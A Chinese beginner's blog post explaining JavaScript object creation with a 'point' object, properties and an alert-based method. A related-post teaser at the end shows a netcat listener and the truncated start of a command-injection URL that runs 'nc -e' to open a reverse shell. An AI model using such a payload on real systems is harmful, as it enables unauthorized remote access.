Day24:终於要进去新手村了-Javascript-函式-物件建立练习

这一篇我会使用彭彭教学中的例子加上自己理解的方式做解释以及纪录。
在彭彭课程之中的程序码如下:

var point= new Object;
point.x=3;
point.y=4;
point.getPosition = function(){
    alert(this.x + "," + this.y);
}
point.getPosition();

我们可以看到,第一行程序码var point= new Object;就是宣告一个名为point的变数,并且里面新增一个空白物件,接下来point.x=3;point.y=4;这个部分,我们可以看在point这个变数之中放入x=3以及y=4的物件资料进去,接着在point.getPosition这行程序码中可以看到就是在getPosition中放入了一个函式,最後一行则是使用这个物件,执行这个程序码後,会跳出显示3,4的警告视窗。
*注 alert的括号之中使用this,这个this就是用来呼叫上面程序码x与y这两个物件资料,关於this还有很多用法,目前先记录所学习到的部分。

当然也可以配合前面所学到建立函式的部分做修改:

var point= new Object;
point.getPosition = function(x,y){
    alert(x + "," + y);
}
point.getPosition(5,4);

上方没有像前面程序码先建立x与y的物件,而是用函式的方式去将x、y放到呼应的位置上,在最後一行使用物件的时候将资料填入,所以执行程序码时会跳出显示5,4的警告视窗。

参考来源:
https://shubo.io/what-is-this/
https://www.youtube.com/watch?v=Vwg7BaPBK-Y


<<:  25 把卡片摆一摆

>>:  [Day-24] - Spring Reactor Mono 一日初探就上手

统整先前的小缺漏

补上缺漏和元素 games, economy之类的先补上 @commands.command() a...

30天程序语言研究

今天是30天程序语言研究的第十天,研究的语言一样是python,今天主要学习的是module的使用和...

陨石很可能砸下来

变化才是常态 一路敏捷至此的各位,应该对於敏捷强调的「面对变化」已有所体悟。 有个缩写词汇 VUCA...

[Day24] Bind Shell / Reverse Shell

前言 $nc -lvnp 1337 http://shhhhh.com/?cmd=nc%20-e%2...

[Day 28]老师我学逻辑推论做什麽(3)

今天来说说「命题」 命题是指「可以被判断对错的一个叙述」 另外还有否命题、逆命题、否逆命题 原命题:...